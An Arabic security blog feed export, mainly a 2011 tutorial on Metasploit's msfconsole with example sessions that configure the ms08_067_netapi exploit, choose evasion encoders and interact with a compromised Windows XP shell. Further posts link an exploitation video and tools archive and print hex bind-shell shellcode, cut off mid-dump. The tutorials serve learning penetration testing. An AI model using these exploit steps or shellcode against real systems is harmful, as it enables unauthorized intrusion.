<p>بعض انواع الهجوم مثل Karmetasploit تستخدم لتنفيذ عدد من الاوامر المرتبة بشكل متسلسل داخل ملف دفعي(batch file) يتم تنفيذه من خلال msfconsole بتنفيذ امر &#8220;resource&#8221; متبوع باسم الملف.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &amp;gt; resource karma.rc&lt;br /&gt;<br />
resource&amp;gt; load db_sqlite3&lt;br /&gt;<br />
[-]&lt;br /&gt;<br />
[-] The functionality previously provided by this plugin has been&lt;br /&gt;<br />
[-] integrated into the core command set. Use the new 'db_driver'&lt;br /&gt;<br />
[-] command to use a database driver other than sqlite3 (which&lt;br /&gt;<br />
[-] is now the default). All of the old commands are the same.&lt;br /&gt;<br />
[-]&lt;br /&gt;<br />
[-] Failed to load plugin from&lt;br /&gt;<br />
/pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin&lt;br /&gt;<br />
resource&amp;gt; db_create /root/karma.db&lt;br /&gt;<br />
[*] The specified database already exists, connecting&lt;br /&gt;<br />
[*] Successfully connected to the database&lt;br /&gt;<br />
[*] File: /root/karma.db&lt;br /&gt;<br />
resource&amp;gt; use auxiliary/server/browser_autopwn&lt;br /&gt;<br />
resource&amp;gt; setg AUTOPWN_HOST 10.0.0.1&lt;br /&gt;<br />
AUTOPWN_HOST =&amp;gt; 10.0.0.1&lt;br /&gt;<br />
…باقي النتائج…</div></div>
</p>
<p>وهذه الملفات الدفعية(batch files) تساعد في تسريع الاختبار(testing) والتطوير(development) ، با الاضافة الى انه يسمح للمستخدم بتنفيذ العديد من المهام بشكل اتوماتيكي او اّلي، وباستطاعتك تنفيذ الملف في عملية بداء التشغيل msfconsole بتمرير متغير ‘-r’. وفي المثالي التالي سوف نقوم بنشاء ملف يظهر اصدار metasploit في بداء التشغيل</p>
<p>&nbsp;</p>
<h4>أمر (route) :</h4>
<p>يسمح هذا الامر بإعادة توجية السوكيت(sockets) من خلال session او comm. ولكي يضيف امر إعادة التوجية تقوم بتمرير السب نت (subnet) وقناع الشبكة (network mask) متبوع برقم session او comm. لاحظ المثال التالي.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf exploit(ms08_067_netapi) &gt; route&lt;br /&gt;<br />
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]&lt;br /&gt;<br />
Route traffic destined to a given subnet through a supplied session.&lt;br /&gt;<br />
The default comm is Local.&lt;br /&gt;<br />
msf exploit(ms08_067_netapi) &amp;gt; route add 192.168.1.0 255.255.255.0 3&lt;br /&gt;<br />
msf exploit(ms08_067_netapi) &amp;gt; route print&lt;br /&gt;<br />
Active Routing Table&lt;br /&gt;<br />
====================&lt;br /&gt;<br />
Subnet Netmask Gateway&lt;br /&gt;<br />
------ ------- -------&lt;br /&gt;<br />
192.168.1.0 255.255.255.0 Session 3</div></div>
</p>
<p>&nbsp;</p>
<h4>أمر (info) :</h4>
<p>سوف يقوم بتزويدك بمعلومات تفصيلية عن موديل(module) معين ويقوم بعرض كافة الخيارات و الاهداف المصابة ومعلومات اخرئ.<br />
و امر ‘info’ سوف يقوم بتزويدك با المعلومات التالية :<br />
معلومات عن الكاتب و الرخصة.<br />
مراجع الثغرة مثل (CVE,BID.. الخ).<br />
اي من payload التي تشتغل فقط مع هذا Module.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &gt; info dos/windows/smb/ms09_001_write&lt;br /&gt;<br />
Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset&lt;br /&gt;<br />
Version: 6890&lt;br /&gt;<br />
License: Metasploit Framework License (BSD)&lt;br /&gt;<br />
Provided by:&lt;br /&gt;<br />
j.v.vallejo</div></div>
</p>
<h4>أمر (set/unset) :</h4>
<p>يسمح للمستخدم بضبط إعدادات وخيارات بيئة العمل و المتغيرات للمويل(module) الذي تعمل علية.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:400px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf auxiliary(ms09_001_write) &gt; set RHOST 192.168.1.1&lt;br /&gt;<br />
RHOST =&amp;gt; 192.168.1.1&lt;br /&gt;<br />
msf auxiliary(ms09_001_write) &amp;gt; show options&lt;br /&gt;<br />
Module options:&lt;br /&gt;<br />
Name Current Setting Required Description&lt;br /&gt;<br />
---- --------------- -------- -----------&lt;br /&gt;<br />
RHOST 192.168.1.1 yes The target address&lt;br /&gt;<br />
RPORT 445 yes Set the SMB service port&lt;br /&gt;<br />
في الايام الاخير تم اضافة ميزة جديدة في بيئة عمل metasploit و هي أستخدام مشفرات(encoders) وقت التشغيل (run time) وهذه تكون مفيدة في تطوير الاستغلال عندما لا تكون متاكد اي نوع من الباي لود(payloads) سوف يشتغل مع الاستغلال.&lt;br /&gt;<br />
msf exploit(ms08_067_netapi) &amp;gt; show encoders&lt;br /&gt;<br />
Compatible encoders&lt;br /&gt;<br />
===================&lt;br /&gt;<br />
Name Disclosure Date Rank Description&lt;br /&gt;<br />
---- --------------- ---- -----------&lt;br /&gt;<br />
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder&lt;br /&gt;<br />
cmd/ifs low Generic ${IFS} Substitution Command Encoder&lt;br /&gt;<br />
cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder&lt;br /&gt;<br />
generic/none normal The &quot;none&quot; Encoder&lt;br /&gt;<br />
mipsbe/longxor normal XOR Encoder&lt;br /&gt;<br />
mipsle/longxor normal XOR Encoder&lt;br /&gt;<br />
php/base64 great PHP Base64 encoder&lt;br /&gt;<br />
ppc/longxor normal PPC LongXOR Encoder&lt;br /&gt;<br />
ppc/longxor_tag normal PPC LongXOR Encoder&lt;br /&gt;<br />
sparc/longxor_tag normal SPARC DWORD XOR Encoder&lt;br /&gt;<br />
x64/xor normal XOR Encoder&lt;br /&gt;<br />
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder&lt;br /&gt;<br />
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder&lt;br /&gt;<br />
x86/avoid_utf8_tolower manual Avoid UTF8/tolower&lt;br /&gt;<br />
x86/call4_dword_xor normal Call+4 Dword XOR Encoder&lt;br /&gt;<br />
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder&lt;br /&gt;<br />
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder&lt;br /&gt;<br />
x86/context_time manual time(2)-based Context Keyed Payload Encoder&lt;br /&gt;<br />
x86/countdown normal Single-byte XOR Countdown Encoder&lt;br /&gt;<br />
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder&lt;br /&gt;<br />
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder&lt;br /&gt;<br />
x86/nonalpha low Non-Alpha Encoder&lt;br /&gt;<br />
x86/nonupper low Non-Upper Encoder&lt;br /&gt;<br />
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder&lt;br /&gt;<br />
x86/single_static_bit manual Single Static Bit&lt;br /&gt;<br />
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder&lt;br /&gt;<br />
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder&lt;br /&gt;<br />
msf exploit(ms08_067_netapi) &amp;gt; set encoder x86/shikata_ga_nai&lt;br /&gt;<br />
encoder =&amp;gt; x86/shikata_ga_nai</div></div>
</p>
<p>&nbsp;</p>
<h4>أمر (unset) :</h4>
<p>وهذا الامر هو عكس امر ‘set’.ويقوم بأزإلة المتغيرات التي قادم بضبطها وإضافتها أمر ‘set’، ويمكنك إزالة جميع المتغيرات مره واحده بأمر ‘unset all’.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &gt; set RHOSTS 192.168.1.0/24&lt;br /&gt;<br />
RHOSTS =&amp;gt; 192.168.1.0/24&lt;br /&gt;<br />
msf &gt; set THREADS 50&lt;br /&gt;<br />
THREADS =&gt; 50&lt;br /&gt;<br />
msf &gt; set&lt;br /&gt;<br />
Global&lt;br /&gt;<br />
======&lt;br /&gt;<br />
Name Value&lt;br /&gt;<br />
---- -----&lt;br /&gt;<br />
RHOSTS 192.168.1.0/24&lt;br /&gt;<br />
THREADS 50&lt;br /&gt;<br />
msf &amp;gt; unset THREADS&lt;br /&gt;<br />
Unsetting THREADS...&lt;br /&gt;<br />
msf &gt; unset all&lt;br /&gt;<br />
Flushing datastore...&lt;br /&gt;<br />
msf &gt; set Global&lt;br /&gt;<br />
======&lt;br /&gt;<br />
No entries in data store.</div></div>
</p>
<p>&nbsp;</p>
<h4>أمر (sessions) :</h4>
<p>هذا الامر يقوم بعرض و التفاعل او انهئ او تنقل بين الجلسات التي تكون فعالة وهذه الجلسات تكون عبارة عن شل(shell)، ميتربريتر(Meterpreter sessions) او VNC &#8230; الخ.</p>
<p><div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &gt; sessions -h&lt;br /&gt;<br />
Usage: sessions [options]&lt;br /&gt;<br />
Active session manipulation and interaction.&lt;/p&gt;<br />
&lt;p&gt;OPTIONS:&lt;/p&gt;<br />
&lt;p&gt;-K Terminate all sessions&lt;br /&gt;<br />
-c Run a command on the session given with -i, or all&lt;br /&gt;<br />
--d Detach an interactive session&lt;br /&gt;<br />
-h Help banner&lt;br /&gt;<br />
-i Interact with the supplied session ID&lt;br /&gt;<br />
--k Terminate session&lt;br /&gt;<br />
--l List all active sessions&lt;br /&gt;<br />
-q Quiet mode&lt;br /&gt;<br />
-r Reset the ring buffer for the session given with -i, or all&lt;br /&gt;<br />
-s Run a script on the session given with -i, or all&lt;br /&gt;<br />
-u Upgrade a win32 shell to a meterpreter session&lt;br /&gt;<br />
-v List verbose fields</div></div>
</p>
<p>ولكي تقوم بعرض الجلسات(sessions) النشطة، مرر حرف ‘-l’ الى امر ‘sessions’.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf exploit(ms08_067_netapi) &gt; sessions -l&lt;br /&gt;<br />
Active sessions&lt;br /&gt;<br />
===============&lt;br /&gt;<br />
Id Description Tunnel&lt;br /&gt;<br />
-- ----------- ------&lt;br /&gt;<br />
1 Command shell 192.168.1.20:33191 -&gt;; 192.168.1.22:4444</div></div>
</p>
<p>عندما تريد التعامل مع أحد الجلسات النشطة، فعليك تمرير المتغير ‘-i’ متبوع برقم الجلسة ‘session id’ لاحظ المثال التالي:</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf exploit(ms08_067_netapi) &gt; sessions -i 1&lt;br /&gt;<br />
[*] Starting interaction with 1...&lt;/p&gt;<br />
&lt;p&gt;Microsoft Windows XP [Version 5.1.2600]&lt;br /&gt;<br />
(C) Copyright 1985-2001 Microsoft Corp.&lt;/p&gt;<br />
&lt;p&gt;C:\WINDOWS\system32</div></div>
</p>
<p>&nbsp;</p>
<h4>أمر (search) :</h4>
<p>يقوم هذا الامر ببحث شامل داخل الموديلز(modules) وبادخال جز من اسم الموديل او الاسم كامل فيقوم بعرض بيانات الموديل من الاسم، وصف عن الموديل &#8230; الخ.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &gt; search ms08_067_netapi&lt;br /&gt;<br />
[*] Searching loaded modules for pattern 'ms08_067_netapi'...&lt;/p&gt;<br />
&lt;p&gt;Exploits&lt;br /&gt;<br />
========&lt;/p&gt;<br />
&lt;p&gt;Name Disclosure Date Rank Description&lt;br /&gt;<br />
---- --------------- ---- -----------&lt;br /&gt;<br />
windows/smb/ms08_067_netapi 2008-10-28 great Microsoft Server Service Relative Path Stack Corruption</div></div>
</p>
<p>&nbsp;</p>
<h4>أمر (show) :</h4>
<p>&nbsp;</p>
<p>بأدخال أمر ‘show’ في ‘msfconsole’ سوف يعرض لك كافة الموديلز ‘modules’ داخل MSF .</p>
<p><div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &gt; show&lt;/p&gt;<br />
&lt;p&gt;encoders&lt;br /&gt;<br />
========&lt;br /&gt;<br />
Name Disclosure Date Rank Description&lt;br /&gt;<br />
---- --------------- ---- -----------&lt;br /&gt;<br />
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder&lt;br /&gt;<br />
cmd/ifs low Generic ${IFS} Substitution Command Encoder&lt;br /&gt;<br />
cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder&lt;br /&gt;<br />
generic/none normal The &quot;none&quot; Encoder&lt;br /&gt;<br />
mipsbe/longxor normal XOR Encoder&lt;br /&gt;<br />
mipsle/longxor normal XOR Encoder&lt;/p&gt;<br />
&lt;p&gt;...ألخ..</div></div>
</p>
<p>وأيضاً بمكانك عرض كل موديلز على حدة مثل &#8216;show auxiliary&#8217;، &#8216;show exploits&#8217;، &#8216;show payloads&#8217;،<br />
&#8216;show encoders&#8217; او &#8216;show nops&#8217;. سوف اتركك عزيزي القراء لكي تقوم بتجربة هذه الاوامر.</p>
<p>سوف نقوم بستخدام معين لامر ‘show’ عندما تقوم باختيار ثغرة معينة ولناخذ على سبيل المثال ‘ms08_067_netapi’</p>
<p><div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &gt; use exploit/windows/smb/ms08_067_netapi&lt;br /&gt;<br />
msf exploit(ms08_067_netapi) &gt;</div></div>
</p>
<p>في الامر السابق لقد قمنا باختيار ثغرة ‘ms08_067_netapi’. وفي الامر التالي سوف نقوم بعرض فقط الباي لودز ‘payloads’ التي تتوافق فقط مع الثغرة، ولنفرض ان الثغرة تستهدف فقط انظمة ويندوز، سوف يعرض فقط الباي لودز المتعلقة با الوندوز ولن يعرض الباي لودز الخاصه بنظام لنيكس.</p>
<p><div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf exploit(ms08_067_netapi) &gt; show payloads&lt;/p&gt;<br />
&lt;p&gt;Compatible Payloads&lt;br /&gt;<br />
===================&lt;/p&gt;<br />
&lt;p&gt;Name Disclosure Date Rank Description&lt;br /&gt;<br />
----------- ---- --------------- -----------&lt;br /&gt;<br />
generic/debug_trap normal Generic x86 Debug Trap&lt;br /&gt;<br />
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline&lt;br /&gt;<br />
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline&lt;br /&gt;<br />
generic/tight_loop normal Generic x86 Tight Loop&lt;br /&gt;<br />
windows/adduser&lt;br /&gt;<br />
…الخ…</div></div>
<p>
والان نريد ان نعرض الخيارات المتطلبة لتنفيذ هذه الثغرة مثل ايبي الهدف و البورت وغيرها لاحظ المثال التالي :</p>
<p><div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf exploit(ms08_067_netapi)&gt; show options&lt;br /&gt;<br />
Module options:&lt;br /&gt;<br />
Name Current Setting Required Description&lt;br /&gt;<br />
---- --------------- -------- -----------&lt;br /&gt;<br />
RHOST yes The target address&lt;br /&gt;<br />
RPORT 445 yes Set the SMB service port&lt;br /&gt;<br />
SMBPIPE BROWSER yes The pipe name to use (BROWSER,SRVSVC)&lt;/p&gt;<br />
&lt;p&gt;Exploit target:&lt;br /&gt;<br />
Id Name&lt;br /&gt;<br />
-- ----&lt;br /&gt;<br />
0 Automatic Targeting</div></div>
</p>
<p>وإذا لم تكن متاكد اي إصدار من نظام التشغيل مصاب بهذه الثغرة قم بتنفيذ الامر التالي :</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf exploit(ms08_067_netapi)&gt; show targets&lt;br /&gt;<br />
Exploit targets:&lt;br /&gt;<br />
Id Name&lt;br /&gt;<br />
-- ----&lt;br /&gt;<br />
0 Automatic Targeting&lt;br /&gt;<br />
1 Windows 2000 Universal&lt;br /&gt;<br />
2 Windows XP SP0/SP1 Universal&lt;br /&gt;<br />
3 Windows XP SP2 English (NX)&lt;br /&gt;<br />
4 Windows XP SP3 English (NX)&lt;br /&gt;<br />
5 Windows 2003 SP0 Universal&lt;br /&gt;<br />
…الخ…</div></div>
<p>
وإذا كنت تريد مشاهدة خيارات متقدمة فماعليك الا تنفيذ الامر التالي :</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf exploit(ms08_067_netapi)&gt; show advanced&lt;br /&gt;<br />
Module advanced options:&lt;br /&gt;<br />
Name : CHOST&lt;br /&gt;<br />
Current Setting:&lt;br /&gt;<br />
Description : The local client address&lt;br /&gt;<br />
Name : CPORT&lt;br /&gt;<br />
Current Setting:&lt;br /&gt;<br />
Description : The local client port</div></div>
</p>
<p>&nbsp;</p>
<h4>أمر (setg) :</h4>
<p>إذا كنت تريد ان تحفظ الكثير من الوقت عند عملك اختبار اختراق لنظام معين با إستطاعتك تحديد بعض<br />
‘global variables’ في ‘msfconsole’. وذلك بأستخدام أمر ‘setg’ وعندما يتم تحديد المتغير بستطاعتك<br />
إستخدامة في العديد من (exploits and auxiliary modules) وأيضا تستطع حفظهم لكي تقوم باستخدامهم في المره القادمة، ويجب عليك التاكد دئماً من جميع الخيارات قبل تفيذك أمر ‘run’ او ‘exploit’. وبالمقابل يمكنك إزلة هذه المتغيرات بستخدامك أمر ‘unsetg’ لاحظ المثالي التالي:</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &gt; setg LHOST 192.168.1.20&lt;br /&gt;<br />
LHOST =&amp;gt; 192.168.1.20&lt;br /&gt;<br />
msf &amp;gt; setg RHOST 192.168.1.22&lt;br /&gt;<br />
RHOST =&amp;gt; 192.168.1.22</div></div>
<p>
وبعد تحديد بعض المتغيرات مثل عنوان الايبي المحلي و عنوان الايبي البعيد او الهدف يمكننا حفظ هذه التغيرات بامر ‘save’. وفي المره القادمة عند تشغيل ‘msfconsole’ سوف تكون هذه المتغيرات مضبوطه مثلما حددناها.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &gt; save&lt;br /&gt;<br />
Saved configuration to: /root/.msf3/config&lt;br /&gt;<br />
msf &gt;</div></div>
</p>
<p>&nbsp;</p>
<h4>أمر (use) :</h4>
<p>عندما تريد استخدام موديل ‘module’ لثغرة معينة إستخدم أمر ‘use’ ومن ثم اختر اسم الموديل. ولاحظ ان ‘global variables’ قمنا بضبطها في الامر السابق لكي تشير الى عنوان ايبي الهدف وعنوان الوكال الايبي .</p>
<p><div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &gt; use exploit/windows/smb/ms08_067_netapi&lt;br /&gt;<br />
msf exploit(ms08_067_netapi) &gt; show options&lt;/p&gt;<br />
&lt;p&gt;Module options (exploit/windows/smb/ms08_067_netapi):&lt;br /&gt;<br />
Name Current Setting Required Description&lt;/p&gt;<br />
&lt;p&gt;RHOST 192.168.1.22 yes The target address&lt;br /&gt;<br />
RPORT 445 yes Set the SMB service port&lt;br /&gt;<br />
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)&lt;br /&gt;<br />
Exploit target:&lt;br /&gt;<br />
Id Name&lt;br /&gt;<br />
0 Automatic Targeting</div></div></p>
<hr />
<p><small>&copy; Fayez for <a href="http://www.security4arabs.com">مجتمع الحماية العربي</a>, 2011. |
<a href="http://www.security4arabs.com/2011/07/15/howto-use-metasploit-with-msfconsole/">Permalink</a> |
<a href="http://www.security4arabs.com/2011/07/15/howto-use-metasploit-with-msfconsole/#comments">6 comments</a> |
Add to
<a href="http://del.icio.us/post?url=http://www.security4arabs.com/2011/07/15/howto-use-metasploit-with-msfconsole/&amp;title=استخدام بيئة العمل Metasploit  عن طريق Msfconsole">del.icio.us</a>
<br/>
Post tags: <br/>
</small></p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.security4arabs.com/2011/07/15/howto-use-metasploit-with-msfconsole/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>فيديو: اكتشاف و استغلال ثغرات Buffer OverFlows</title>
		<link>http://www.security4arabs.com/2011/03/02/video-buffer-over-flo/</link>
		<comments>http://www.security4arabs.com/2011/03/02/video-buffer-over-flo/#comments</comments>
		<pubDate>Wed, 02 Mar 2011 04:15:49 +0000</pubDate>
		<dc:creator>بشار</dc:creator>
				<category><![CDATA[تجربة الإختراق]]></category>
		<category><![CDATA[مساهمات الأعضاء]]></category>

		<guid isPermaLink="false">http://www.security4arabs.com/?p=2101</guid>
		<description><![CDATA[على عادته دائماً، قام الأخ محمد رمضان بتزويدينا بفيديو يشرح عملية اكتشاف ثغرات Buffer Over Flow من الصفر وحتى كتابة كود الاستغلال واختراق النّظام. ومع أنّ الفيدو قد تمّ نشره على موقع عربي شقيق وشيّق إلّا أنّ أهميّة الموضوع وطريقة الشّرح تجعلنا نعيد نشره هنا في مجتمع الحماية العربي المشاهدة بأعلى جودة و نقاء HD [...]]]></description>
			<content:encoded><![CDATA[<p>على عادته دائماً، قام الأخ محمد رمضان بتزويدينا بفيديو يشرح عملية اكتشاف ثغرات Buffer Over Flow من الصفر وحتى كتابة كود الاستغلال واختراق النّظام. ومع أنّ الفيدو قد تمّ نشره على موقع عربي شقيق وشيّق إلّا أنّ أهميّة الموضوع وطريقة الشّرح تجعلنا نعيد نشره هنا في مجتمع الحماية العربي<br />
المشاهدة بأعلى جودة و نقاء HD مباشرة</p>
<p><a href="http://mohaab.blip.tv/file/4807148/" target="_blank">http://mohaab.blip.tv/file/4807148/</a></p>
<p>للتحميل بأعلى جودة و نقاء HD مباشرة</p>
<p><a href="http://bit.ly/eLSZIO" target="_blank">http://bit.ly/eLSZIO</a></p>
<p>رابط مباشر و سريع للادوات و البرامج مجمعة كلها</p>
<p><a href="http://dl.dropbox.com/u/12545954/tools.rar" target="_blank">http://dl.dropbox.com/u/12545954/tools.rar</a></p>
<hr />
<p><small>&copy; بشار for <a href="http://www.security4arabs.com">مجتمع الحماية العربي</a>, 2011. |
<a href="http://www.security4arabs.com/2011/03/02/video-buffer-over-flo/">Permalink</a> |
<a href="http://www.security4arabs.com/2011/03/02/video-buffer-over-flo/#comments">6 comments</a> |
Add to
<a href="http://del.icio.us/post?url=http://www.security4arabs.com/2011/03/02/video-buffer-over-flo/&amp;title=فيديو: اكتشاف و استغلال ثغرات Buffer OverFlows">del.icio.us</a>
<br/>
Post tags: <br/>
</small></p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.security4arabs.com/2011/03/02/video-buffer-over-flo/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>تحويل الـ Shellcode  من Hex إلى Binary  و العكس</title>
		<link>http://www.security4arabs.com/2011/01/14/convert-hexshellcode-to-bin-binaryshellcode-to-hex/</link>
		<comments>http://www.security4arabs.com/2011/01/14/convert-hexshellcode-to-bin-binaryshellcode-to-hex/#comments</comments>
		<pubDate>Fri, 14 Jan 2011 01:19:23 +0000</pubDate>
		<dc:creator>صبري صالح</dc:creator>
				<category><![CDATA[تجربة الإختراق]]></category>
		<category><![CDATA[شروحات]]></category>
		<category><![CDATA[Binary to Hex]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[Hex to Binary]]></category>
		<category><![CDATA[immunity debuger]]></category>
		<category><![CDATA[PoC]]></category>
		<category><![CDATA[pveReadbin]]></category>
		<category><![CDATA[pveWritebin]]></category>

		<guid isPermaLink="false">http://www.security4arabs.com/?p=1871</guid>
		<description><![CDATA[غالبا نستخدم الـ Metasploit في إنشاء الـ Shellcdoe لكن ماذا لو لم تناسبنا أي من هذه الـ Shellcodes لعلة معينه ؟ وقتها سنتحتاج أن نبحث على Shellcodes من مصادر أخرى و قد نجدها بامتداد &#8220;bin&#8221; وقتها, سنحتاج إلى تحول الـ Shellcode من Binary إلى Hex لكي نضعه في الـ Exploit خاصتنا. في هذه الحالة سنحتاج [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.security4arabs.com/wp-content/uploads/2011/01/hex-hex2bin.gif"><img class="size-medium wp-image-1913 aligncenter" title="hex-hex2bin" src="http://www.security4arabs.com/wp-content/uploads/2011/01/hex-hex2bin-300x165.gif" alt="" width="300" height="165" /></a></p>
<p>غالبا نستخدم الـ Metasploit في إنشاء الـ Shellcdoe لكن ماذا لو لم تناسبنا أي من هذه الـ Shellcodes لعلة معينه ؟ وقتها سنتحتاج أن نبحث على Shellcodes من مصادر أخرى و قد نجدها بامتداد &#8220;bin&#8221; وقتها, سنحتاج إلى تحول الـ Shellcode من Binary إلى Hex لكي نضعه في الـ Exploit خاصتنا.<br />
في هذه الحالة سنحتاج إلى تحميل السكربت <strong>pveReadbin.pl</strong> لمبرمجه Peter Van.</p>
<p>أيضا قد تواجه حالة تحتاج فيها أن يكون الـ Shellcdoe خاصتك في ملف binary, مثلا في حالة استخراج الـ <a href="http://www.security4arabs.com/2011/01/12/how-to-find-bad-characters-restriction-in-shellcode/" target="_blank"><strong>Bad Characters</strong></a> و في هذه الحالة سنحتاج إلى تحميل السكريبت <strong>pveWritebin.py</strong></p>
<h4>تحويل الـ Shellcode  من Binary إلى Hex</h4>
<p><span style="color: #ff0000;"><strong>-</strong></span> <strong>لتحميل الأداة</strong> <a href="http://redmine.corelan.be:8800/projects/shellcoding/repository/raw/scripts/pveReadbin.pl" target="_blank">pveReadbin</a></p>
<p><strong><span style="color: #ff0000;">- </span>طريقة الاستخدام</strong></p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">perl pveReadbin.pl shellcode.bin</div></div>
</p>
<p><strong>مثال:</strong></p>
<p><div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:400px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">perl pveReadbin.pl w32-bind-ngs-shellcode.bin&lt;br /&gt;<br />
Reading w32-bind-ngs-shellcode.bin&lt;br /&gt;<br />
Read 214 bytes&lt;br /&gt;<br />
--------------------------------------------&lt;br /&gt;<br />
Displaying bytes as hex :&lt;br /&gt;<br />
--------------------------------------------&lt;br /&gt;<br />
&quot;\x31\xc9\x64\x8b\x71\x30\x8b\x76&quot;.&lt;br /&gt;<br />
&quot;\x0c\x8b\x76\x1c\x8b\x6e\x08\x8b&quot;.&lt;br /&gt;<br />
&quot;\x7e\x20\x8b\x36\x38\x4f\x18\x75&quot;.&lt;br /&gt;<br />
&quot;\xf3\x51\x68\x32\x5f\x33\x32\x68&quot;.&lt;br /&gt;<br />
&quot;\x66\x56\x77\x73\x68\xb7\x8f\x09&quot;.&lt;br /&gt;<br />
